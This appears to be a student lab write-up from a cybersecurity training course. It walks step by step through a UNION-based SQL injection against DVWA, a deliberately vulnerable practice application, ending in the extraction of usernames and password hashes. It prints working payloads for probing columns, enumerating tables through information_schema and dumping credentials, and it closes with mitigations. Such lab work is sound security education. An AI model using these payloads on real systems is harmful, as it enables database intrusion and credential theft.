💉 SQL Injection Lab – DVWA (Low Security)

📌 Assignment 4 – Web Application Security (@Parocyber)

This repository documents the step-by-step reproduction of a SQL Injection vulnerability using Damn Vulnerable Web Application (DVWA). The purpose of this lab was to understand how improperly validated user input can allow attackers to manipulate backend SQL queries and extract sensitive database information.

🎯 Objective

The objective of this lab was to:

• Identify the presence of a SQL Injection vulnerability

• Exploit the vulnerability to extract database information

• Understand how attackers can enumerate databases, tables, columns, and user credentials

• Observe the real-world risks posed by SQL Injection attacks

🛠️ Tools Used

• Damn Vulnerable Web Application (DVWA)

• Web Browser

• Kali Linux

🧪 Lab Environment Setup

1. DVWA URL: http://10.6.6.13

2. Login Credentials:

3. Username: admin

4. Password: password

5. Security Level: Low

Configuration Steps

1. Log in to DVWA

2. Click DVWA Security from the left menu

3. Set security level to Low

4. Click Submit

🔍 Step-by-Step Exploitation

✅ Step 1: Confirm SQL Injection Vulnerability

Navigate to SQL Injection from the left pane.

Payload used:

' OR 1=1 #

Observation: All user records were returned instead of a single user, confirming the application is vulnerable to SQL Injection.

Explanation: The payload contains an “always true” condition, which forces the database to return all rows.

🔢 Step 2: Determine Number of Fields

To successfully use a UNION-based SQL injection, the number of columns in the original query must be known.

Payloads tested:

1' ORDER BY 1 #
1' ORDER BY 2 #
1' ORDER BY 3 #

Result:

• ORDER BY 1 → Successful

• ORDER BY 2 → Successful

• ORDER BY 3 → Error: Unknown column '3' in 'order clause'

✅ This confirms the query contains two columns.

🧠 Step 3: Identify Database Management System (DBMS)

Payload used:

1' OR 1=1 UNION SELECT 1, VERSION()#

Result:

5.5.58-0+deb8u1

Finding:

DBMS: MySQL

Version: 5.5.58

OS: Debian-based system

🗄️ Step 4: Identify Database Name

Payload used:

1' OR 1=1 UNION SELECT 1, DATABASE()#

Result:

dvwa

Finding: The database name is dvwa.

📋 Step 5: Enumerate Table Names

Payload used:

1' OR 1=1 UNION SELECT 1, table_name 
FROM information_schema.tables 
WHERE table_type='base table' 
AND table_schema='dvwa'#

Observation: Multiple table names were returned, including a table named users, which is likely to store credentials.

🧱 Step 6: Enumerate Column Names from users Table

Payload used:

1' OR 1=1 UNION SELECT 1, column_name 
FROM information_schema.columns 
WHERE table_name='users'#

Observation: Column names discovered included:

user

password

first_name

last_name

🔑 Important columns for exploitation:

user

password

🔐 Step 7: Extract User Credentials

Payload used:

1' OR 1=1 UNION SELECT user, password FROM users#

Result: Usernames and password hashes were successfully retrieved.

Finding: This demonstrates how attackers can steal credential data if SQL Injection vulnerabilities are not mitigated.

📊 Findings and Observations

1. The application did not validate or sanitize user input

2. SQL queries were executed directly from user-supplied data

3. Sensitive information such as:

   • Database name

   • Table names

   • Column names

4. User credentials could be extracted by an attacker

5. The vulnerability exists due to insecure coding practices

⚠️ Security Impact

1. SQL Injection vulnerabilities can lead to:

2. Unauthorized data disclosure

3. Credential theft

4. Privilege escalation

5. Complete database compromise

6. Loss of user trust and legal consequences

✅ Conclusion

This lab demonstrated how dangerous SQL Injection vulnerabilities can be when applications fail to properly validate user input. By exploiting a simple input field, it was possible to enumerate the entire database structure and retrieve sensitive user credentials.

Understanding this attack helps security professionals identify weaknesses and implement effective countermeasures such as prepared statements, input validation, and least-privilege database access.

Training Program: #parocyber